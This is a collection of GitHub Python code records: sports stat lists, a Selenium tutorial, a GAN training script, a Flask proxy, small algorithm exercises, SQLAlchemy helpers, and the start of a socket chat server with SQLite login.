'PLUS_MINUS',\n 'NBA_FANTASY_PTS',\n 'DD2',\n 'TD3',\n 'WNBA_FANTASY_PTS',\n 'GP_RANK',\n 'W_RANK',\n 'L_RANK',\n 'W_PCT_RANK',\n 'MIN_RANK',\n 'FGM_RANK',\n 'FGA_RANK',\n 'FG_PCT_RANK',\n 'FG3M_RANK',\n 'FG3A_RANK',\n 'FG3_PCT_RANK',\n 'FTM_RANK',\n 'FTA_RANK',\n 'FT_PCT_RANK',\n 'OREB_RANK',\n 'DREB_RANK',\n 'REB_RANK',\n 'AST_RANK',\n 'TOV_RANK',\n 'STL_RANK',\n 'BLK_RANK',\n 'BLKA_RANK',\n 'PF_RANK',\n 'PFD_RANK',\n 'PTS_RANK',\n 'PLUS_MINUS_RANK',\n 'NBA_FANTASY_PTS_RANK',\n 'DD2_RANK',\n 'TD3_RANK',\n 'WNBA_FANTASY_PTS_RANK',\n 'CFID',\n 'CFPARAMS']\n\n\nseason_list = [\n\t'1996-97',\n\t'1997-98',\n\t'1998-99',\n\t'1999-00',\n\t'2000-01',\n\t'2001-02',\n\t'2002-03',\n\t'2003-04',\n\t'2004-05',\n\t'2005-06',\n\t'2006-07',\n\t'2007-08',\n\t'2008-09',\n\t'2009-10',\n\t'2010-11',\n\t'2011-12',\n\t'2012-13',\n\t'2013-14',\n\t'2014-15',\n\t'2015-16',\n\t'2016-17',\n\t'2017-18',\n\t'2018-19',\n\t'2019-20',\n '2020-21',\n '2021-22',\n '2022-23'\n]\n\np_headers= ['PERSON_ID',\n 'PLAYER_LAST_NAME',\n 'PLAYER_FIRST_NAME',\n 'PLAYER_SLUG',\n 'TEAM_ID',\n 'TEAM_SLUG',\n 'IS_DEFUNCT',\n 'TEAM_CITY',\n 'TEAM_NAME',\n 'TEAM_ABBREVIATION',\n 'JERSEY_NUMBER',\n 'POSITION',\n 'HEIGHT',\n 'WEIGHT',\n 'COLLEGE',\n 'COUNTRY',\n 'DRAFT_YEAR',\n 'DRAFT_ROUND',\n 'DRAFT_NUMBER',\n 'ROSTER_STATUS',\n 'PTS',\n 'REB',\n 'AST',\n 'STATS_TIMEFRAME',\n 'FROM_YEAR',\n 'TO_YEAR']","repo_name":"tamatama555/nbadash","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21121530528","text":"# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nimport time\n\ndriver_path=r\"D:\\chromedriver\\chromedriver.exe\"# 浏览器路径\ndriver=webdriver.Chrome(driver_path)#实例化\ndriver.get(\"https://www.baidu.com/\")#打开网页\ndriver.execute_script(\"window.open('新URL')\")#打开一个新网页\ndriver.switch_to_window(driver.window_handles[1])#切换到一个新的页面\n#for driver in driver.get_cookies()#获取所有cookies的值\n#value=driver.get_cookie(key)#获取某一个值的cookies\n#driver.close()#关闭当前页面\n#driver.quit()#退出浏览器\n#by_id=driver.find_element_by_id(\"kw\")#find_element_by_id通过id定位元素\n#by_id=driver.find_element_by_class_name(\"s_ipt\")#find_element_by_class_name通过类名定位元素\n#html=driver.page_source#page_source获取页面html\n\nby_id=driver.find_element_by_xpath(\"//input[@name='wd']\")#find_element_by_xpath通过xpath定位元素\n\nby_id.send_keys(\"python\")#send_keys元素标签中填入python\ntime.sleep(3)\nby_id=driver.find_element_by_id(\"su\")\n\nby_id.click()#点击标签\n\n#by_id.clear()# clear清除标签里面的内容。\n\n\"\"\"点击checkbox\n操作checkbox(一个正方形小框,勾选要不要),先选中chechbox标签,然后执行click事件。\nby_id=driver.find_element_by_name(\"xxx\")\nby_id.click\n\"\"\"\n\"\"\"点击select标签\n操作select标签,select元素不能直接点,需用类selenium.webdriver.support.ui.select,然后再选中哪一个\nfrom selenium.webdriver.support.ui impot select\nby_id=seclet(driver.find_element_by_name(\"xxx\"))#创建选择对象\nby_id.seclet_by_index(1) #通过标签选哪一个\n\"\"\"\n\n\n\"\"\"from selenium import webdriver 行为链操作流程\nfrom selenium.webdriver.common.action_chains import ActionChains\n\ndriver_path=r\"D:\\chromedriver\\chromedriver.exe\"# 浏览器路径\ndriver=webdriver.Chrome(driver_path)#实例化\ndriver.get(\"https://www.baidu.com/\")#打开网页\ninputTag=driver.find_element_by_id(\"kw\")#定位输入框位置\nsubmitbtn=driver.find_element_by_id(\"su\")#定位输入数据后点击位置\naction=ActionChains(driver)#调用行为函数实例化\naction.move_to_element(inputTag)#移动到inputTag标签\naction.send_keys_to_element(inputTag,\"python\")#标签中输入数据\naction.move_to_element(submitbtn)#移动到点击按钮\naction.click()#点击\naction.perform()#启用链条\n\"\"\"\n\n\"\"\" 增加代理\nfrom selenium import webdriver\n\noptions=webdriver.ChromeOptions()#实例化opthons\noptions.add_argument(\"--proxy-server=http://代理ip:端口\")#添加代理\n\ndriver_path=r\"D:\\chromedriver\\chromedriver.exe\"# 浏览器路径\ndriver=webdriver.Chrome(driver_path,chrome_options=options)#实例化时加入代理\n\ndriver.get(\"https://www.baidu.com/\")#打开网页\n\"\"\"","repo_name":"scau8888/spider","sub_path":"selenium基础.py","file_name":"selenium基础.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23021560919","text":"import argparse\nimport typing as t\nimport inspect\nfrom functools import wraps\nimport os\n\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'True'\n\nfrom tqdm import tqdm\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom torchvision import transforms\nfrom torchvision.datasets.mnist import MNIST\nfrom torchvision.utils import make_grid, save_image\n\n\ndef init_weights(model: nn.Module):\n if isinstance(model, nn.Linear):\n torch.nn.init.xavier_uniform(model.weight)\n model.bias.data.fill_(0.01)\n\n\ndef get_concrete_optimizers() -> t.List[torch.optim.Optimizer]:\n \"\"\"\n Returns: A list of concrete (non-abstract) optimizer objects\n \"\"\"\n return [subclass for subclass in get_all_subclasses(torch.optim.Optimizer)\n if not inspect.isabstract(subclass)]\n\n\ndef get_optimizer(optimizer_name: str, *args, **kwargs) -> torch.optim.Optimizer:\n \"\"\"\n A simple utility function for retrieving the desired optimizer.\n Not the most optimized algorithm, but the number of optimizers should never\n exceed even 100 in my opinion so a linear time algorithm is acceptable.\n Args:\n optimizer_name: The name of the optimizer that we wish to retrieve.\n Returns:\n An optimizer defined inside of PyTorch.\n \"\"\"\n concrete_optimizers: t.List = get_concrete_optimizers()\n optimizer_names: t.List[str] = [cls.__name__.lower() for cls in concrete_optimizers]\n try:\n optimizer_index = optimizer_names.index(optimizer_name.lower())\n except ValueError:\n raise ValueError(f\"Passed in undefined optimizer: {optimizer_name}. \"\n f\"Available optimizers: {optimizer_names}\")\n return concrete_optimizers[optimizer_index](*args, **kwargs)\n\n\ndef get_all_subclasses(cls):\n \"\"\"\n Given an class object, get all the subclasses that exist\n Args:\n cls: The class that we wish to inspect\n Returns:\n\n \"\"\"\n all_subclasses = []\n\n for subclass in cls.__subclasses__():\n all_subclasses.append(subclass)\n all_subclasses.extend(get_all_subclasses(subclass))\n\n return all_subclasses\n\n\ndef gan_argparse(script_initialization_example: str,\n parser: argparse.ArgumentParser = None):\n \"\"\"\n Given a script initialization example, decorate an arg-parse returning function\n a\n Args:\n script_initialization_example:\n parser: An existing argument parser to add arguments to.\n If not defined, we will create a new argument parser.\n\n Returns:\n An argparse object with all the common arguments specified\n inside of the GAN framework\n \"\"\"\n if not isinstance(parser, argparse.ArgumentParser):\n parser = argparse.ArgumentParser(script_initialization_example)\n\n available_optimizers = get_concrete_optimizers()\n\n # Discriminator arguments\n parser.add_argument(\"--d_lr\",\n type=float,\n default=0.0001,\n help=\"Learning rate assigned to the discriminator\")\n parser.add_argument('--d_optim',\n type=str,\n default=\"Adam\",\n choices=available_optimizers,\n help=\"Optimizer used for optimizing the discriminator\")\n\n # Generator arguments\n parser.add_argument(\"--g_lr\",\n type=float,\n default=0.0001,\n help=\"Learning rate assigned to the generator\")\n parser.add_argument('--g_optim',\n type=str,\n default=\"Adam\",\n choices=available_optimizers,\n help=\"Optimizer used for optimizing the generator\")\n\n def gan_argparse_inner(argparse_extension_func: t.Callable):\n @wraps(argparse_extension_func)\n def gan_argparse_exec(*args, **kwargs):\n # Run function for extending argument parser\n # The first argument is always the parser\n argparse_extension_func(parser, *args, **kwargs)\n return parser.parse_args()\n\n return gan_argparse_exec\n\n return gan_argparse_inner\n\n\ndef get_device_safe(gpu_index: int):\n \"\"\"\n Given a gpu index, retrieve the target device if it is available.\n Raises RuntimeError if the\n Args:\n gpu_index: The index of gpu device to retrieve.\n Returns:\n The PyTorch device specified.\n \"\"\"\n if gpu_index < 0:\n raise ValueError(\"Cannot specify negative index as gpu device index\")\n if torch.cuda.is_available() and gpu_index - 1 <= torch.cuda.device_count():\n return torch.device(f\"cuda:{gpu_index}\")\n raise RuntimeError(f\"The specified gpu at index: '{gpu_index}' is not available\")\n\n\n@gan_argparse(\"python3 app.py --d_lr 0.001 --g_lr 0.001\")\ndef get_args(*args, **kwargs):\n parser, args = args\n\n # training Hyper-parameters\n parser.add_argument(\"--epochs\",\n type=int,\n default=10,\n help=\"The number of epochs to train model\")\n parser.add_argument(\"--batch_size\",\n type=int,\n default=16,\n help=\"The size of mini-batch during training\")\n # Note, we can also add support for multiple gpu training\n parser.add_argument(\"--gpu\",\n type=int,\n default=0,\n help=\"The target gpu to train on. \")\n\n # Enable to record stats\n parser.add_argument(\"--record_stats\", dest=\"--record_stats\", action=\"store_true\")\n parser.add_argument(\"--disable_record_stats\", dest=\"--record_stats\", action=\"store_false\")\n parser.set_defaults(record_stats=True)\n\n\n# ACTUAL implementation logic begins here\n# -------------------------------------------------------\n\n\nclass GeneratorMnist(nn.Module):\n def __init__(self, noise_vector_dim=100):\n super().__init__()\n self.model = nn.Sequential(\n nn.Linear(noise_vector_dim, 256),\n nn.ReLU(),\n nn.BatchNorm1d(256),\n nn.Linear(256, 512),\n nn.ReLU(),\n nn.BatchNorm1d(512),\n nn.Linear(512, 784),\n nn.Tanh()\n )\n init_weights(self)\n\n def forward(self, X) -> torch.Tensor:\n return self.model(X)\n\n\nclass DiscriminatorMnist(nn.Module):\n \"\"\"\n Given a sample image, the goal is to determine whether\n the given example is real or fake.\n Since the Discriminator task is easier, the Generator\n should have slightly more modeling capacity to create\n an equilibrium which can be manipulated by increasing\n no. of parameters in the Generator or by regularizing the discriminator.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n\n self.model = nn.Sequential(\n nn.Linear(784, 256),\n nn.BatchNorm1d(256),\n nn.LeakyReLU(0.2),\n nn.Linear(256, 128),\n nn.BatchNorm1d(128),\n nn.LeakyReLU(0.2),\n nn.Linear(128, 1),\n nn.Sigmoid()\n )\n init_weights(self)\n\n def forward(self, X) -> torch.Tensor:\n return self.model(X)\n\n\ndef train_model():\n # get arguments and hyper-parameters required for training model\n args: argparse.Namespace = get_args(\"test\")\n\n # Hyper-parameters\n batch_size = args.batch_size\n disc_lr = args.d_lr\n gen_lr = args.g_lr\n noise_vector_dim = 100\n\n # Retrieve target device\n device = torch.device(\"cpu\")\n if torch.cuda.is_available():\n get_device_safe(args.gpu)\n\n # Pre-define preprocessor logic\n data_transformer = transforms.Compose([\n # Convert PIL Images to Tensor.\n # this will also scale the Image values between 0 and 1.\n # Same as dividing all values by 255\n transforms.ToTensor(),\n\n # Because we are using the TanH function to output values, we need to\n # appropriately normalize the values such that GT images are scaled\n # between -1 and 1 so that we can fool the discriminator, since Generator\n # output will also be between -1 and 1.\n # if we use Sigmoid instead of TanH, the discriminator will easily win, since any\n # values outputted by generator that have values less than 0 are easily fake.\n transforms.Normalize((0.5,), (0.5,))\n ])\n\n # Step 2. Load the dataset and create dataloader\n mnist_training = MNIST(train=True, download=True, root=\"data/\", transform=data_transformer)\n dataloader = DataLoader(mnist_training, batch_size=batch_size, drop_last=True, shuffle=True)\n\n # Step 3. Initialize the model and optimizers\n disc = DiscriminatorMnist().to(device)\n gen = GeneratorMnist().to(device)\n disc_optimizer: torch.optim.Optimizer = get_optimizer(args.d_optim, lr=disc_lr, params=disc.parameters())\n gen_optimizer: torch.optim.Optimizer = get_optimizer(args.g_optim, lr=gen_lr, params=gen.parameters())\n\n binary_cross_entropy = nn.BCELoss()\n\n # Ground truth\n # We don't want our discriminator to get overconfident with its prediction\n # so we will make our real-labels 0.9\n # this is entirely optional!\n real_labels = torch.ones((batch_size, 1), device=device) - 0.1\n fake_labels = torch.zeros((batch_size, 1), device=device)\n\n disc.train()\n gen.train()\n\n # Step 4. Train the model\n for epoch in tqdm(range(args.epochs)):\n\n for i, (real_images, _) in enumerate(dataloader):\n # Initialize on the device if you use gpu instead of\n # doing .to(device), which initializes the tensor on the CPU and moves\n # it onto the GPU. This can create a significant bottleneck, as this operation\n # count grows linearly in proportion to size of the training set and epoch count\n noise_vector = torch.randn(batch_size, noise_vector_dim, device=device)\n # we need to flatten 28 x 28 image to 784 dim vector\n real_images = real_images.view(real_images.shape[0], -1)\n\n # Now, train generator\n # it is rewarded for tricking discriminator into thinking that the generated images are real\n gen_optimizer.zero_grad()\n fake_images = gen(noise_vector)\n disc_fake = disc(fake_images)\n loss_gen = binary_cross_entropy(disc_fake, real_labels)\n loss_gen.backward()\n gen_optimizer.step()\n\n # Train discriminator\n # Discriminator is rewarded for correctly classifying real and fake images.\n disc_optimizer.zero_grad()\n noise_vector = torch.randn(batch_size, noise_vector_dim, device=device)\n # Feed noise vector into the generator to get some fake images\n fake_images = gen(noise_vector)\n\n # Feed real images into disc\n disc_real = disc(real_images)\n disc_fake = disc(fake_images)\n\n # Calculate loss and back-prop\n # Discriminator is rewarded for correctly classifying real and fake images.\n loss_disc = (binary_cross_entropy(disc_real, real_labels)\n + binary_cross_entropy(disc_fake, fake_labels)) / 2\n loss_disc.backward()\n disc_optimizer.step()\n\n # TODO: Later update this to make logging and visualization more pleasant\n if i % 100 == 0 and args.record_stats:\n print(f\"[Epoch {epoch}, iter: {i}] - disc loss: {loss_disc}, gen loss: {loss_gen}\")\n with torch.no_grad():\n gen.eval()\n noise_vector = torch.randn(batch_size, noise_vector_dim, device=device)\n images_to_visualize = gen(noise_vector).view(real_images.shape[0], 1, 28, 28)\n save_image(make_grid(images_to_visualize,\n nrow=4), f\"mnist_epoch_{epoch}_iter_{i}_fake.jpg\")\n # save_image(make_grid(real_images.view(real_images.shape[0], 1, 28, 28),\n # nrow=4), f\"mnist_epoch_{epoch}_iter_{i}_real.jpg\")\n gen.train()\n\n\nif __name__ == \"__main__\":\n train_model()\n","repo_name":"JWLee89/gans-pytorch","sub_path":"gan/vanilla/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":12154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18724110891","text":"import requests\n\nfrom app import app\nfrom app.service import modify_links, modify_content\nfrom config import DOU_GENERAL_URL\n\n\n@app.route('/', methods=['GET', 'POST'])\n@app.route('/', methods=['GET', 'POST'])\ndef dou_pages(path=None):\n if path is not None:\n url = DOU_GENERAL_URL + path\n else:\n url = DOU_GENERAL_URL\n\n response = requests.get(url=url, headers={'User-Agent': 'egoo'})\n\n pars_text = modify_content(response.text)\n result = modify_links(pars_text)\n return str(result)\n","repo_name":"egooooo/proxy_serrver","sub_path":"app/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74067738907","text":"# #2 - LeetCode : 2160. Minimum Sum of Four Digit Number After Splitting Digits\n\nclass Solution(object):\n def minimumSum(self, num):\n \"\"\"\n :type num: int\n :rtype: int\n \"\"\"\n first = num // 1000\n second = num % 1000 // 100\n third = num % 100 // 10\n fourth = num % 10\n nums = [first, second, third, fourth]\n nums.sort()\n return nums[0] * 10 + nums[1] * 10 + nums[2] + nums[3]\n\n\nsol = Solution()\nprint(sol.minimumSum(2932))\nprint(sol.minimumSum(4009))\n","repo_name":"devyeony/algorithm-study","sub_path":"01_math/Hayden/leetcode_2160_Minimum_Sum_of_Four_Digit_Number_After_Splitting_Digits.py","file_name":"leetcode_2160_Minimum_Sum_of_Four_Digit_Number_After_Splitting_Digits.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4717576970","text":"import imreg_dft as ird\nimport numpy as np\nimport logging\nfrom skimage import io\nimport sys\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nclass RegArray:\n def __init__(self, zoom, rotation, shift_x, shift_y):\n self.zoom = zoom\n self.rotation = rotation\n self.shift_x = shift_x\n self.shift_y = shift_y\n\n\ndef check_size(img:np.ndarray, template:np.ndarray) -> bool:\n \"\"\"\n Check the shape for the arrays.\n :param img: numpy array\n :param template: numpy array\n :return: True if equal, False if different, raises AssertionError if different dimensions.\n \"\"\"\n dims = (img.ndim, template.ndim)\n assert dims == (2, 2) , logger.error(f'Expected 2D arrays for both images, got {dims}')\n shape1, shape2 = img.shape, template.shape\n if shape1 == shape2:\n return True\n else:\n return False\n\n\ndef pad_inputs(img:np.ndarray, template:np.ndarray, mode='median') -> (np.ndarray, np.ndarray):\n \"\"\"\n Pads two arrays to get the same size using np.pad function\n :param img: numpy array\n :param template: numpy array\n :param mode: same as numpy.pad, 'median' by default.\n :return: tuple with padded (img, template)\n \"\"\"\n if not check_size(img,template):\n shape1, shape2 = img.shape, template.shape\n shape_out = (max(shape1[0],shape2[0]), max(shape1[1],shape2[1]))\n if shape1 RegArray:\n if check_size(main_cam_frame, drift_cam_frame):\n i1,i2 = main_cam_frame, drift_cam_frame\n else:\n i1, i2 = pad_inputs(main_cam_frame, drift_cam_frame)\n result = ird.similarity(i1,i2)\n out = RegArray(zoom=result['scale'], rotation=result['angle'], shift_x=result['tvec'][0], shift_y=result['tvec'][1])\n return out\n\n\ndef register_files(path1:str, path2:str):\n f1 = io.imread(path1)\n f2 = io.imread(path2)\n arr = register_imgs(f1, f2)\n return arr\n\n\nif __name__ == '__main__':\n args = ['/Volumes/Imod-grenier/Andrey/Phase retrieve/drift-correction/BFDC/bfdc/registration.py', '/Volumes/Imod-grenier/Mickael/yeast_imaging_EdU/andor_cam_transformmatrix/Pos0/img_000000000_Default0_000.tif', '/Volumes/Imod-grenier/Mickael/yeast_imaging_EdU/thorlabs_cam_bigbeads_transformmatrix/Pos0/img_000000000_Default0_000.tif']\n\n try:\n p1, p2 = args[1], args[2]\n except IndexError:\n print(f'Missing arguments path1, path2: {args}')\n\n arr = register_files(p1,p2)\n exit(0)","repo_name":"imodpasteur/Brightfield-Drift-Correction-3D","sub_path":"bfdc/registration.py","file_name":"registration.py","file_ext":"py","file_size_in_byte":3186,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"11"} +{"seq_id":"30350734921","text":"from .Position import Position\n\nclass Token():\n def __init__(self, _type: str, value: str = None, start_position: Position = None, end_position: Position = None) -> None:\n self.type = _type\n self.value = value\n\n if start_position:\n self.start_position = start_position.copy()\n self.end_position = start_position.copy()\n self.end_position.advance()\n\n if end_position:\n self.end_position = end_position.copy()\n\n\n def __repr__(self) -> str:\n if self.value:\n return \"{}:{}\".format(self.type, self.value)\n return str(f'{self.type}')\n\n\n def matches(self, _type, value : str) -> bool:\n return self.type == _type and self.value == value\n","repo_name":"Ali-Al-Hadi-Al-Husseini/Hope-Language","sub_path":"hope/Tokenizer_tools/Token.py","file_name":"Token.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"40041502784","text":"from collections import deque\nfrom timer import Timer\nfrom random import randint\n\nt = Timer()\n\n\ndef pop_list_vs_deque():\n n = 10 ** 5\n a = [0] * n\n t.start()\n for _ in range(n):\n b = a.pop(0)\n t.stop()\n t.reset()\n\n a = [0] * n\n t.start()\n a = deque(a)\n for _ in range(n):\n b = a.popleft()\n t.stop()\n\n\ndef sort_list_vs_deque():\n n = 10 ** 6\n a = [randint(0, n) for _ in range(n)]\n\n # list\n t.start()\n a.sort()\n t.stop()\n\n # list sorted\n t.start()\n a = sorted(a)\n t.stop()\n\n a = deque(a)\n # deque\n t.start()\n a = sorted(a)\n t.stop()\n\n\nsort_list_vs_deque()","repo_name":"sidearrow/competitive-programing","sub_path":"test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24555915397","text":"\"\"\"Convenient, encapsulated SQLALchemy initialization.\n\nUsage::\n\n from bag.sqlalchemy.context import SAContext\n\n sa = SAContext() # you can provide create_engine's args here\n # Now define your models with sa.metadata and sa.base\n\n # At runtime:\n # Add a working engine:\n sa.create_engine('sqlite:///db.sqlite3', echo=False)\n # or...\n sa.use_memory() # This one immediately creates the tables.\n\n # Now use it:\n sa.drop_tables().create_tables()\n session = sa.Session()\n # Use that session...\n session.commit()\n\n # You can also create a copy of sa, bound to another engine:\n sa2 = sa.clone('sqlite://')\n\"\"\"\n\nfrom functools import wraps\nfrom types import ModuleType\n\nfrom sqlalchemy import create_engine, MetaData, Table\nfrom sqlalchemy.ext.declarative import declarative_base # , declared_attr\nfrom sqlalchemy.orm import sessionmaker, scoped_session\n\n__all__ = (\"SAContext\",)\n\n\nclass SAContext:\n \"\"\"Provide convenient and encapsulated SQLAlchemy initialization.\"\"\"\n\n __slots__ = (\n \"base\",\n \"dburi\",\n \"engine\",\n \"Session\",\n \"_scoped_session\",\n \"use_transaction\",\n )\n\n def __init__(\n self,\n base=None,\n base_class=None,\n metadata=None,\n use_transaction: bool = False,\n *args,\n **k\n ): # noqa\n self.dburi = None\n self.engine = None\n self.Session = None\n self._scoped_session = None\n self.use_transaction = use_transaction\n metadata = metadata or MetaData(\n naming_convention={\n # https://alembic.readthedocs.org/en/latest/naming.html\n # http://docs.sqlalchemy.org/en/rel_1_0/core/constraints.html#constraint-naming-conventions\n \"ix\": \"ix_%(table_name)s_%(column_0_label)s\",\n \"uq\": \"%(table_name)s_%(column_0_name)s_key\",\n \"ck\": \"ck_%(table_name)s_%(column_0_name)s\",\n # could be: \"ck\": \"ck_%(table_name)s_%(constraint_name)s\",\n \"fk\": \"%(table_name)s_%(column_0_name)s_%(referred_table_name)s_fkey\",\n \"pk\": \"%(table_name)s_pkey\",\n }\n )\n if base:\n self.base = base\n elif base_class:\n self.base = declarative_base(cls=base_class, metadata=metadata)\n else:\n self.base = declarative_base(name=\"Base\", metadata=metadata)\n if self.metadata.bind:\n self._set_engine(self.metadata.bind)\n if args or k:\n self.create_engine(*args, **k)\n\n def _set_engine(self, engine):\n self.engine = engine\n self.Session = sessionmaker(bind=engine)\n if self.use_transaction:\n from zope.sqlalchemy import register as _transaction_register\n\n _transaction_register(self.Session)\n self.dburi = str(engine.url)\n\n def create_engine(self, dburi: str, **k):\n \"\"\"Set the engine according to ``dburi``.\"\"\"\n self._set_engine(create_engine(dburi, **k))\n return self\n\n def use_memory(self, tables=None, **k):\n \"\"\"Create an in-memory SQLite engine, and create tables.\"\"\"\n self.create_engine(\"sqlite:///:memory:\", **k)\n self.create_tables(tables=tables)\n return self\n\n @property\n def scoped_session(self):\n \"\"\"Return a (memoized) scoped session.\n\n This is created only when first used and then stored.\n \"\"\"\n if not self._scoped_session:\n assert (\n self.Session is not None\n ), \"Tried to use the scoped session before the engine was set.\"\n self._scoped_session = scoped_session(self.Session)\n return self._scoped_session\n\n @property\n def metadata(self): # noqa\n return self.base.metadata\n\n def drop_tables(self, tables=None):\n \"\"\"Drop tables.\"\"\"\n self.metadata.drop_all(tables=tables, bind=self.engine)\n return self\n\n def create_tables(self, tables=None):\n \"\"\"Create tables.\"\"\"\n self.metadata.create_all(tables=tables, bind=self.engine)\n return self\n\n def tables_in(self, context):\n \"\"\"Return a list containing the tables in the passed *context*.\n\n ``context`` may be a dictionary or a module::\n\n tables = sa.tables_in(globals())\n \"\"\"\n tables = []\n if isinstance(context, ModuleType): # context is a python module\n context = context.__dict__\n for val in context.values():\n if hasattr(val, \"__base__\") and val.__base__ is self.base:\n tables.append(val.__table__)\n elif isinstance(val, Table) and val.metadata is self.metadata:\n tables.append(val)\n return tables\n\n def clone(self, **k):\n \"\"\"Copy this object. If keyword args, create another engine.\"\"\"\n from copy import copy\n\n o = copy(self)\n if k:\n o.create_engine(**k)\n return o\n\n def subtransaction(self, fn):\n \"\"\"Enclose in a subtransaction a decorated function.\n\n Your system must use our ``ss`` scoped session and it\n does not need to call ``commit()`` on the session.\n \"\"\"\n\n @wraps(fn)\n def wrapper(*a, **kw):\n self.scoped_session.begin(subtransactions=True)\n try:\n fn(*a, **kw)\n except Exception as exc:\n self.scoped_session.rollback()\n raise exc\n else:\n self.scoped_session.commit()\n\n return wrapper\n\n def transaction(self, fn):\n \"\"\"Enclose a decorated function in a transaction.\n\n Your system must use our ``ss`` scoped session and it\n does not need to call ``commit()`` on the session.\n \"\"\"\n\n @wraps(fn)\n def wrapper(*a, **kw):\n try:\n fn(*a, **kw)\n except Exception as exc:\n self.scoped_session.rollback()\n raise exc\n else:\n self.scoped_session.commit()\n\n return wrapper\n\n def transient(self, fn): # noqa\n \"\"\"Decorator. Create a subtransaction which is always rewinded.\n\n It is recommended that you apply this\n decorator to each of your integrated tests; then you only need to\n create the tables once, instead of once per test,\n because nothing ever gets persisted. This makes tests run faster.\n \"\"\"\n\n @wraps(fn)\n def wrapper(*a, **kw):\n self.scoped_session.begin(subtransactions=True)\n self.scoped_session.begin(subtransactions=True)\n try:\n fn(*a, **kw) # I assume fn consumes the inner subtransaction.\n finally:\n self.scoped_session.rollback() # Revert outer subtransaction\n\n return wrapper\n","repo_name":"nandoflorestan/bag","sub_path":"bag/sqlalchemy/context.py","file_name":"context.py","file_ext":"py","file_size_in_byte":6818,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"11"} +{"seq_id":"20424546061","text":"from tkinter import *\r\nfrom tkinter import messagebox\r\nimport socket\r\nfrom threading import Thread\r\nimport sqlite3\r\nfrom datetime import datetime\r\nimport queue\r\n\r\nhostname = ''\r\nip = socket.gethostbyname(hostname)\r\nBLFSIZ = 1024\r\nserver_socket = None\r\naccept_thread = None\r\nrecv_thread_list = []\r\nclientlist = []\r\nlogin = 'User'\r\npassword = 'Pass'\r\nnsg_queue = queue.Queue()\r\n\r\n# Функция проверки пароля\r\ndef checkDb(name, password):\r\n try:\r\n sqlite_connection = sqlite3.connect('chat.db')\r\n cursor = sqlite_connection.cursor()\r\n sqlite_select_query = \"\"\"SELECT password FROM users WHERE user = (?)\"\"\"\r\n passwordDb = cursor.execute(sqlite_select_query, (name,)).fetchone()\r\n\r\n if passwordDb is None:\r\n sqlite_insert_query = \"\"\"INSERT INTO users\r\n (user, password)\r\n VALUES (?,?);\"\"\"\r\n cursor.execute(sqlite_insert_query, (name, password,))\r\n sqlite_connection.commit()\r\n answer = True\r\n elif password == passwordDb[0]:\r\n answer = True\r\n else:\r\n answer = False\r\n\r\n except sqlite3.Error as error:\r\n print(\"Ошибка при работе с SQLite\", error)\r\n except Exception as e:\r\n print(e)\r\n finally:\r\n if (sqlite_connection):\r\n cursor.close()\r\n sqlite_connection.close()\r\n return answer\r\n\r\n# Функция сохранения сообщений пользователей\r\ndef SaveMessage(user, message):\r\n try:\r\n now = datetime.now()\r\n current_time = now.strftime(\"%d/%m/%y,%H:%M:%S\")\r\n sqlite_connection = sqlite3.connect('chat.db')\r\n cursor = sqlite_connection.cursor()\r\n sqlite_insert_query = \"\"\"INSERT INTO messages\r\n (user, message, time)\r\n VALUES (?,?,?);\"\"\"\r\n cursor.execute(sqlite_insert_query, (user, message, current_time))\r\n sqlite_connection.commit()\r\n cursor.close()\r\n except sqlite3.Error as error:\r\n print(\"Ошибка при работе с SQLite\", error)\r\n finally:\r\n if (sqlite_connection):\r\n sqlite_connection.close()\r\n\r\nlistening = False # Глобальная переменная для отслеживания состояния прослушивания\r\n\r\ndef Listen():\r\n global server_socket\r\n global accept_thread\r\n global sendButton\r\n global ListenButton\r\n global listening # Используйте глобальную переменную\r\n\r\n try:\r\n if listening:\r\n StopListen()\r\n ListenButton.configure(text=\"Listen\") # Измените текст кнопки\r\n else:\r\n local_ip = '192.168.100.100' # IP-адрес для локального соединения\r\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n ADDR = (local_ip, int(host_port.get()))\r\n server_socket.bind(ADDR)\r\n server_socket.listen(5)\r\n accept_thread = Thread(target=AcceptConn)\r\n accept_thread.start()\r\n ListenButton.configure(text=\"Stop Listening\") # Измените текст кнопки\r\n sendButton.configure(state='normal')\r\n listening = True # Установите флаг состояния прослушивания\r\n except OverflowError:\r\n print(\"Port number too large\")\r\n except ValueError:\r\n print(\"Invalid Port number\")\r\n\r\ndef StopListen():\r\n global server_socket\r\n global clientlist\r\n global listening # Используйте глобальную переменную\r\n\r\n if server_socket:\r\n server_socket.close()\r\n \r\n if accept_thread and accept_thread.is_alive():\r\n accept_thread.join()\r\n\r\n for client in clientlist:\r\n client_socket, _ = client\r\n client_socket.close()\r\n\r\n # Проверяем, что потоки созданы и активны, прежде чем пытаться их остановить\r\n for thread in recv_thread_list:\r\n if thread and thread.is_alive():\r\n thread.join()\r\n \r\n clientlist = []\r\n listening = False # Установите флаг состояния прослушивания\r\n\r\ndef AcceptConn():\r\n while 